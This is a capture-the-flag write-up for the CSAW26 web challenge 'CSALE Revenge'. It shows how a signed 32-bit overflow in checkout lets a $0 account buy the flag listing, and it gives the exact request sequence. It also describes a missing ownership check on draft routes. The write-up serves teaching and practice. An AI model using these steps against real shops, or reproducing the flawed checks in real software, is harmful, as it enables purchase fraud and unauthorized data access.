$ / 2 min read/web

CSALE Revenge

The correctly deployed CSALE. Byte-identical source, but this time the intended path works: a signed 32-bit integer overflow in the checkout maths.

section
CSAW26
event
ctf.csaw.io ↗
category
web
status
● solved

Summary

The correctly-deployed version of the CSALE storefront. The Python source is byte-identical to the beta release — only the deployment differed, which is why the beta was unsolvable by the intended path.

Vulnerability: signed 32-bit integer overflow

def signed_32(value):
    value &= 0xFFFFFFFF
    return value - 0x100000000 if value & 0x80000000 else value

# in checkout():
total = signed_32(sum(x["price_cents"] * x["quantity"] for x in items))

Listing 9 (“Flag”, seller superdiscreteflaguser) is priced at $10,000,000 — 1,000,000,000 cents. add_to_cart clamps quantity to 25, which is plenty:

quantity 3  ->  3,000,000,000  >  2^31 (2,147,483,648)
             ->  signed_32 wraps to  -1,294,967,296

Both balance guards then pass on a fresh $0 account:

if total > balance or balance - total < 0:
    #  -1,294,967,296 > 0           -> False
    #  0 - (-1,294,967,296) < 0     -> False
    return redirect("/cart?error=funds")

Checkout succeeds. The order snapshot copies the listing’s fulfillment_note, which carries the flag.

Exploit

POST /signup            username=<random>&password=<random>
POST /cart/items        listing_id=9&quantity=3
POST /cart/checkout
GET  /account/orders  ->  GET /orders/<id>

The order detail page renders the note containing the flag.

Second bug (found, not needed)

/<slug>/preview and the GET side of /<slug>/unlock never check ownership — unlike draft_unlock’s POST branch and /account/drafts, which both filter by owner_id. And draft_file() searches:

image_path(Path(draft["image_filename"]).name,
           (DRAFT_UPLOAD_DIR, PRIVATE_LISTING_IMAGE_DIR))

PRIVATE_LISTING_IMAGE_DIR is the one directory containing FLAG_IMAGE_PATH (flag.png) that no other route can reach. It is unexploitable in practice only because draft slugs are seeded into the private DB and no route lists another user’s drafts.

Solver: ~/ctf/work/csale2/pwn.py (parameterised by base URL)

## challenge files

31 files · 7.1 MB
  • home.html
  • player/
  • pwn.py
  • r.py
  • r2.py
  • r3.py
  • r4.py
  • slug.py
download .zip

flags redacted; flag images and local flag.txt files removed